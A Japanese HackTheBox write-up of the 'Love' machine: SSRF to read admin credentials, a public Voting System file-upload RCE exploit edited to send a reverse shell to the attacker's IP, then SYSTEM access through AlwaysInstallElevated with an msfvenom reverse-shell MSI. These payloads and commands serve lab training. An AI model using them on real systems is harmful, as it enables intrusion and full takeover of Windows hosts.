🥝

【HackTheBox】Love Writeup

2024/02/02に公開

Recon

nmap

┌──(kali㉿kali)-[~/Downloads]
└─$ nmap -Pn 10.10.10.239 -sVC -p 80,443,445,3306,5000

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Voting System using PHP
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
443/tcp  open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after:  2022-01-18T14:00:16
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql?
| fingerprint-strings: 
|   NULL: 
|_    Host '10.10.14.7' is not allowed to connect to this MariaDB server
5000/tcp open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.93%I=7%D=2/1%Time=65BBB44D%P=x86_64-pc-linux-gnu%r(NUL
SF:L,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.7'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-02-01T15:33:24
|_  start_date: N/A
|_clock-skew: mean: 3h03m06s, deviation: 4h37m11s, median: 23m04s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-02-01T07:33:28-08:00

open portを-sVCでスキャンしました。3つのウェブサーバーとsmbとsqlがありました。
port443のssl certからドメイン名はstaging.love.htbであることがわかりました。love.htbstaging.love.htb/etc/hostsに入れます。

web servers (port 80,443,5000)

port 443と5000は403 Forbiddenでした。

port 80

love.htb

トップページにログインフォームがありました。

gobusterでadminのログインページを発見しました。

staging.love.htb

staging subdomainに違うサイトがありました。トップページのサインアップフォームは機能していないです。

beta.phpに行くと、file scannerのデモがありました。attack box上のファイルを指定してみると、ファイルのコンテンツが表示されました。

burpでリクエストを見るとこんな感じです。

command injectionとLFIを試しましたが、上手くいかなかったです。
localhostをリクエストしてみたら、love.htbのページが出てきました!これで403になっていたページがみれるかもしれないですね。

見れなかったport443と5000もみてみます。port 5000にadminの認証情報がありました。

voting system exploit

ではadmin:@LoveIsInTheAir!!!love.htb/adminにログインします。

このvoting systemは既存のサービスっぽいので、exploitを検索してみます。
votingsystem sourcecodesterで検索したら、exploit dbのページが出てきました。ファイルアップロードの脆弱性です。
https://www.exploit-db.com/exploits/49445
searchsploitで検索して、コピーします。

┌──(kali㉿kali)-[~]
└─$ searchsploit 49445
------------------------------------------------- ------------------------
 Exploit Title                                   |  Path
------------------------------------------------- ------------------------
Voting System 1.0 - File Upload RCE (Authenticat | php/webapps/49445.py
------------------------------------------------- ------------------------
working directoryにコピー
searchsploit -m php/webapps/49445.py

コードの中のURLを直します。IP、credentailsなども設定します。

修正後の49445.py
<SNIP>
import requests

# --- Edit your settings here ----
IP = "love.htb" # Website's URL
USERNAME = "admin" #Auth username
PASSWORD = "@LoveIsInTheAir!!!!" # Auth Password
REV_IP = "10.10.14.7" # Reverse shell IP
REV_PORT = "9001" # Reverse port
# --------------------------------

INDEX_PAGE = f"http://{IP}/admin/index.php"
LOGIN_URL = f"http://{IP}/admin/index.php"
VOTE_URL = f"http://{IP}/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/images/shell.php"

payload = """

<SNIP>

実行したらシェルが取れました。ユーザーはphoebeです。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001

C:\xampp\htdocs\omrs\images>whoami
whoami
love\phoebe

Shell as phoebe

winpeas

Winpeasを実行するとAlwaysInstallElevatedが有効になっていることがわかりました。

PS C:\ProgramData> .\winPEASx64.exe quiet systeminfo

<SNIP>

����������͹ Checking AlwaysInstallElevated
�  https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
    AlwaysInstallElevated set to 1 in HKLM!
    AlwaysInstallElevated set to 1 in HKCU!

直接コマンドで確認することもできます。

PS C:\ProgramData> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

PS C:\ProgramData> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

abuse AlwaysInstallElevated privileges

この設定が有効だと、msiファイルはSYSTEM権限でインストール/実行されます。
msfvenomでrev shellのmsiファイルを作って、target boxにアップロードして実行します。

msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.7 lport=1337 -f msi > aie.msi
impacket-smbserver share . -smb2support
PS C:\ProgramData> copy \\10.10.14.7\share\aie.msi
PS C:\ProgramData> msiexec /i C:\ProgramData\aie.msi /quiet /qn /norestart

Shell as system

listenerにsystemのシェルが来ました。

┌──(kali㉿kali)-[~/love]
└─$ nc -lvnp 1337    

Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>type C:\Users\Administrator\Desktop\root.txt

rootフラグが取れました!

Memo

HTB AcademyのWindows privilege escalationモジュール、おすすめです。
https://academy.hackthebox.com/course/preview/windows-privilege-escalation

Discussion